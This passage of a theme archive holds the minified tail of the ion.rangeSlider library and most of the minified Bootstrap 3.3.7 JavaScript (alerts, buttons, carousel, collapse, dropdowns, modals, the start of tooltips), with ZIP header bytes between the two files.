typeof a.from||isNaN(a.from))a.from=a.min;if("number"!==typeof a.to||isNaN(a.to))a.to=a.max;"single"===a.type?(a.from<a.min&&(a.from=a.min),a.from>a.max&&(a.from=a.max)):(a.from<a.min&&(a.from=a.min),a.from>a.max&&(a.from=a.max),a.to<a.min&&(a.to=a.min),a.to>a.max&&(a.to=a.max),this.update_check.from&&(this.update_check.from!==a.from&&a.from>a.to&&(a.from=a.to),this.update_check.to!==a.to&&a.to<a.from&&(a.to=a.from)),a.from>a.to&&(a.from=a.to),a.to<a.from&&(a.to=a.from));if("number"!==typeof a.step||
isNaN(a.step)||!a.step||0>a.step)a.step=1;"number"===typeof a.from_min&&a.from<a.from_min&&(a.from=a.from_min);"number"===typeof a.from_max&&a.from>a.from_max&&(a.from=a.from_max);"number"===typeof a.to_min&&a.to<a.to_min&&(a.to=a.to_min);"number"===typeof a.to_max&&a.from>a.to_max&&(a.to=a.to_max);if(b){b.min!==a.min&&(b.min=a.min);b.max!==a.max&&(b.max=a.max);if(b.from<b.min||b.from>b.max)b.from=a.from;if(b.to<b.min||b.to>b.max)b.to=a.to}if("number"!==typeof a.min_interval||isNaN(a.min_interval)||
!a.min_interval||0>a.min_interval)a.min_interval=0;if("number"!==typeof a.max_interval||isNaN(a.max_interval)||!a.max_interval||0>a.max_interval)a.max_interval=0;a.min_interval&&a.min_interval>a.max-a.min&&(a.min_interval=a.max-a.min);a.max_interval&&a.max_interval>a.max-a.min&&(a.max_interval=a.max-a.min)},decorate:function(a,b){var d="",c=this.options;c.prefix&&(d+=c.prefix);d+=a;c.max_postfix&&(c.values.length&&a===c.p_values[c.max]?(d+=c.max_postfix,c.postfix&&(d+=" ")):b===c.max&&(d+=c.max_postfix,
c.postfix&&(d+=" ")));c.postfix&&(d+=c.postfix);return d},updateFrom:function(){this.result.from=this.options.from;this.result.from_percent=this.convertToPercent(this.result.from);this.result.from_pretty=this._prettify(this.result.from);this.options.values&&(this.result.from_value=this.options.values[this.result.from])},updateTo:function(){this.result.to=this.options.to;this.result.to_percent=this.convertToPercent(this.result.to);this.result.to_pretty=this._prettify(this.result.to);this.options.values&&
(this.result.to_value=this.options.values[this.result.to])},updateResult:function(){this.result.min=this.options.min;this.result.max=this.options.max;this.updateFrom();this.updateTo()},appendGrid:function(){if(this.options.grid){var a=this.options,b;var d=a.max-a.min;var c=a.grid_num,e=4,g="";this.calcGridMargin();if(a.grid_snap)if(50<d){c=50/a.step;var f=this.toFixed(a.step/.5)}else c=d/a.step,f=this.toFixed(a.step/(d/100));else f=this.toFixed(100/c);4<c&&(e=3);7<c&&(e=2);14<c&&(e=1);28<c&&(e=0);
for(d=0;d<c+1;d++){var k=e;var h=this.toFixed(f*d);100<h&&(h=100);this.coords.big[d]=h;var m=(h-f*(d-1))/(k+1);for(b=1;b<=k&&0!==h;b++){var n=this.toFixed(h-m*b);g+='<span class="irs-grid-pol small" style="left: '+n+'%"></span>'}g+='<span class="irs-grid-pol" style="left: '+h+'%"></span>';b=this.convertToValue(h);b=a.values.length?a.p_values[b]:this._prettify(b);g+='<span class="irs-grid-text js-grid-text-'+d+'" style="left: '+h+'%">'+b+"</span>"}this.coords.big_num=Math.ceil(c+1);this.$cache.cont.addClass("irs-with-grid");
this.$cache.grid.html(g);this.cacheGridLabels()}},cacheGridLabels:function(){var a,b=this.coords.big_num;for(a=0;a<b;a++){var d=this.$cache.grid.find(".js-grid-text-"+a);this.$cache.grid_labels.push(d)}this.calcGridLabels()},calcGridLabels:function(){var a;var b=[];var d=[],c=this.coords.big_num;for(a=0;a<c;a++)this.coords.big_w[a]=this.$cache.grid_labels[a].outerWidth(!1),this.coords.big_p[a]=this.toFixed(this.coords.big_w[a]/this.coords.w_rs*100),this.coords.big_x[a]=this.toFixed(this.coords.big_p[a]/
2),b[a]=this.toFixed(this.coords.big[a]-this.coords.big_x[a]),d[a]=this.toFixed(b[a]+this.coords.big_p[a]);this.options.force_edges&&(b[0]<-this.coords.grid_gap&&(b[0]=-this.coords.grid_gap,d[0]=this.toFixed(b[0]+this.coords.big_p[0]),this.coords.big_x[0]=this.coords.grid_gap),d[c-1]>100+this.coords.grid_gap&&(d[c-1]=100+this.coords.grid_gap,b[c-1]=this.toFixed(d[c-1]-this.coords.big_p[c-1]),this.coords.big_x[c-1]=this.toFixed(this.coords.big_p[c-1]-this.coords.grid_gap)));this.calcGridCollision(2,
b,d);this.calcGridCollision(4,b,d);for(a=0;a<c;a++)b=this.$cache.grid_labels[a][0],this.coords.big_x[a]!==Number.POSITIVE_INFINITY&&(b.style.marginLeft=-this.coords.big_x[a]+"%")},calcGridCollision:function(a,b,d){var c,e=this.coords.big_num;for(c=0;c<e;c+=a){var g=c+a/2;if(g>=e)break;var f=this.$cache.grid_labels[g][0];f.style.visibility=d[c]<=b[g]?"visible":"hidden"}},calcGridMargin:function(){this.options.grid_margin&&(this.coords.w_rs=this.$cache.rs.outerWidth(!1),this.coords.w_rs&&(this.coords.w_handle=
"single"===this.options.type?this.$cache.s_single.outerWidth(!1):this.$cache.s_from.outerWidth(!1),this.coords.p_handle=this.toFixed(this.coords.w_handle/this.coords.w_rs*100),this.coords.grid_gap=this.toFixed(this.coords.p_handle/2-.1),this.$cache.grid[0].style.width=this.toFixed(100-this.coords.p_handle)+"%",this.$cache.grid[0].style.left=this.coords.grid_gap+"%"))},update:function(a){this.input&&(this.is_update=!0,this.options.from=this.result.from,this.options.to=this.result.to,this.update_check.from=
this.result.from,this.update_check.to=this.result.to,this.options=f.extend(this.options,a),this.validate(),this.updateResult(a),this.toggleInput(),this.remove(),this.init(!0))},reset:function(){this.input&&(this.updateResult(),this.update())},destroy:function(){this.input&&(this.toggleInput(),this.$cache.input.prop("readonly",!1),f.data(this.input,"ionRangeSlider",null),this.remove(),this.options=this.input=null)}};f.fn.ionRangeSlider=function(a){return this.each(function(){f.data(this,"ionRangeSlider")||
f.data(this,"ionRangeSlider",new q(this,a,t++))})};(function(){for(var a=0,b=["ms","moz","webkit","o"],d=0;d<b.length&&!k.requestAnimationFrame;++d)k.requestAnimationFrame=k[b[d]+"RequestAnimationFrame"],k.cancelAnimationFrame=k[b[d]+"CancelAnimationFrame"]||k[b[d]+"CancelRequestAnimationFrame"];k.requestAnimationFrame||(k.requestAnimationFrame=function(b,d){var c=(new Date).getTime(),e=Math.max(0,16-(c-a)),f=k.setTimeout(function(){b(c+e)},e);a=c+e;return f});k.cancelAnimationFrame||(k.cancelAnimationFrame=
function(a){clearTimeout(a)})})()});
PK     0w\T:Pf    6  customizer/framework/assets/js/vendor/bootstrap.min.jsnu [        /*!
 * Bootstrap v3.3.7 (http://getbootstrap.com)
 * Copyright 2011-2016 Twitter, Inc.
 * Licensed under the MIT license
 */
if("undefined"==typeof jQuery)throw new Error("Bootstrap's JavaScript requires jQuery");+function(a){"use strict";var b=a.fn.jquery.split(" ")[0].split(".");if(b[0]<2&&b[1]<9||1==b[0]&&9==b[1]&&b[2]<1||b[0]>3)throw new Error("Bootstrap's JavaScript requires jQuery version 1.9.1 or higher, but lower than version 4")}(jQuery),+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one("bsTransitionEnd",function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b(),a.support.transition&&(a.event.special.bsTransitionEnd={bindType:a.support.transition.end,delegateType:a.support.transition.end,handle:function(b){if(a(b.target).is(this))return b.handleObj.handler.apply(this,arguments)}})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var c=a(this),e=c.data("bs.alert");e||c.data("bs.alert",e=new d(this)),"string"==typeof b&&e[b].call(c)})}var c='[data-dismiss="alert"]',d=function(b){a(b).on("click",c,this.close)};d.VERSION="3.3.7",d.TRANSITION_DURATION=150,d.prototype.close=function(b){function c(){g.detach().trigger("closed.bs.alert").remove()}var e=a(this),f=e.attr("data-target");f||(f=e.attr("href"),f=f&&f.replace(/.*(?=#[^\s]*$)/,""));var g=a("#"===f?[]:f);b&&b.preventDefault(),g.length||(g=e.closest(".alert")),g.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(g.removeClass("in"),a.support.transition&&g.hasClass("fade")?g.one("bsTransitionEnd",c).emulateTransitionEnd(d.TRANSITION_DURATION):c())};var e=a.fn.alert;a.fn.alert=b,a.fn.alert.Constructor=d,a.fn.alert.noConflict=function(){return a.fn.alert=e,this},a(document).on("click.bs.alert.data-api",c,d.prototype.close)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof b&&b;e||d.data("bs.button",e=new c(this,f)),"toggle"==b?e.toggle():b&&e.setState(b)})}var c=function(b,d){this.$element=a(b),this.options=a.extend({},c.DEFAULTS,d),this.isLoading=!1};c.VERSION="3.3.7",c.DEFAULTS={loadingText:"loading..."},c.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",null==f.resetText&&d.data("resetText",d[e]()),setTimeout(a.proxy(function(){d[e](null==f[b]?this.options[b]:f[b]),"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c).prop(c,!0)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c).prop(c,!1))},this),0)},c.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$element.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!1),this.$element.toggleClass("active")),c.prop("checked",this.$element.hasClass("active")),a&&c.trigger("change")}else this.$element.attr("aria-pressed",!this.$element.hasClass("active")),this.$element.toggleClass("active")};var d=a.fn.button;a.fn.button=b,a.fn.button.Constructor=c,a.fn.button.noConflict=function(){return a.fn.button=d,this},a(document).on("click.bs.button.data-api",'[data-toggle^="button"]',function(c){var d=a(c.target).closest(".btn");b.call(d,"toggle"),a(c.target).is('input[type="radio"], input[type="checkbox"]')||(c.preventDefault(),d.is("input,button")?d.trigger("focus"):d.find("input:visible,button:visible").first().trigger("focus"))}).on("focus.bs.button.data-api blur.bs.button.data-api",'[data-toggle^="button"]',function(b){a(b.target).closest(".btn").toggleClass("focus",/^focus(in)?$/.test(b.type))})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},c.DEFAULTS,d.data(),"object"==typeof b&&b),g="string"==typeof b?b:f.slide;e||d.data("bs.carousel",e=new c(this,f)),"number"==typeof b?e.to(b):g?e[g]():f.interval&&e.pause().cycle()})}var c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&this.$element.on("keydown.bs.carousel",a.proxy(this.keydown,this)),"hover"==this.options.pause&&!("ontouchstart"in document.documentElement)&&this.$element.on("mouseenter.bs.carousel",a.proxy(this.pause,this)).on("mouseleave.bs.carousel",a.proxy(this.cycle,this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=600,c.DEFAULTS={interval:5e3,pause:"hover",wrap:!0,keyboard:!0},c.prototype.keydown=function(a){if(!/input|textarea/i.test(a.target.tagName)){switch(a.which){case 37:this.prev();break;case 39:this.next();break;default:return}a.preventDefault()}},c.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.parent().children(".item"),this.$items.index(a||this.$active)},c.prototype.getItemForDirection=function(a,b){var c=this.getItemIndex(b),d="prev"==a&&0===c||"next"==a&&c==this.$items.length-1;if(d&&!this.options.wrap)return b;var e="prev"==a?-1:1,f=(c+e)%this.$items.length;return this.$items.eq(f)},c.prototype.to=function(a){var b=this,c=this.getItemIndex(this.$active=this.$element.find(".item.active"));if(!(a>this.$items.length-1||a<0))return this.sliding?this.$element.one("slid.bs.carousel",function(){b.to(a)}):c==a?this.pause().cycle():this.slide(a>c?"next":"prev",this.$items.eq(a))},c.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},c.prototype.next=function(){if(!this.sliding)return this.slide("next")},c.prototype.prev=function(){if(!this.sliding)return this.slide("prev")},c.prototype.slide=function(b,d){var e=this.$element.find(".item.active"),f=d||this.getItemForDirection(b,e),g=this.interval,h="next"==b?"left":"right",i=this;if(f.hasClass("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicators.find(".active").removeClass("active");var l=a(this.$indicators.children()[this.getItemIndex(f)]);l&&l.addClass("active")}var m=a.Event("slid.bs.carousel",{relatedTarget:j,direction:h});return a.support.transition&&this.$element.hasClass("slide")?(f.addClass(b),f[0].offsetWidth,e.addClass(h),f.addClass(h),e.one("bsTransitionEnd",function(){f.removeClass([b,h].join(" ")).addClass("active"),e.removeClass(["active",h].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger(m)},0)}).emulateTransitionEnd(c.TRANSITION_DURATION)):(e.removeClass("active"),f.addClass("active"),this.sliding=!1,this.$element.trigger(m)),g&&this.cycle(),this}};var d=a.fn.carousel;a.fn.carousel=b,a.fn.carousel.Constructor=c,a.fn.carousel.noConflict=function(){return a.fn.carousel=d,this};var e=function(c){var d,e=a(this),f=a(e.attr("data-target")||(d=e.attr("href"))&&d.replace(/.*(?=#[^\s]+$)/,""));if(f.hasClass("carousel")){var g=a.extend({},f.data(),e.data()),h=e.attr("data-slide-to");h&&(g.interval=!1),b.call(f,g),h&&f.data("bs.carousel").to(h),c.preventDefault()}};a(document).on("click.bs.carousel.data-api","[data-slide]",e).on("click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target")||(c=b.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"");return a(d)}function c(b){return this.each(function(){var c=a(this),e=c.data("bs.collapse"),f=a.extend({},d.DEFAULTS,c.data(),"object"==typeof b&&b);!e&&f.toggle&&/show|hide/.test(b)&&(f.toggle=!1),e||c.data("bs.collapse",e=new d(this,f)),"string"==typeof b&&e[b]()})}var d=function(b,c){this.$element=a(b),this.options=a.extend({},d.DEFAULTS,c),this.$trigger=a('[data-toggle="collapse"][href="#'+b.id+'"],[data-toggle="collapse"][data-target="#'+b.id+'"]'),this.transitioning=null,this.options.parent?this.$parent=this.getParent():this.addAriaAndCollapsedClass(this.$element,this.$trigger),this.options.toggle&&this.toggle()};d.VERSION="3.3.7",d.TRANSITION_DURATION=350,d.DEFAULTS={toggle:!0},d.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},d.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b,e=this.$parent&&this.$parent.children(".panel").children(".in, .collapsing");if(!(e&&e.length&&(b=e.data("bs.collapse"),b&&b.transitioning))){var f=a.Event("show.bs.collapse");if(this.$element.trigger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.removeClass("collapsed").attr("aria-expanded",!0),this.transitioning=1;var h=function(){this.$element.removeClass("collapsing").addClass("collapse in")[g](""),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return h.call(this);var i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.7",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.7",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){d.$element.one("mouseup.dismiss.bs.modal",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in"),d.enforceFocus();var f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$dialog.one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){document===a.target||this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+e).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",a,b)};c.VERSION="3.3.7",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);if(c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),!c.isInStateTrue())return clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof 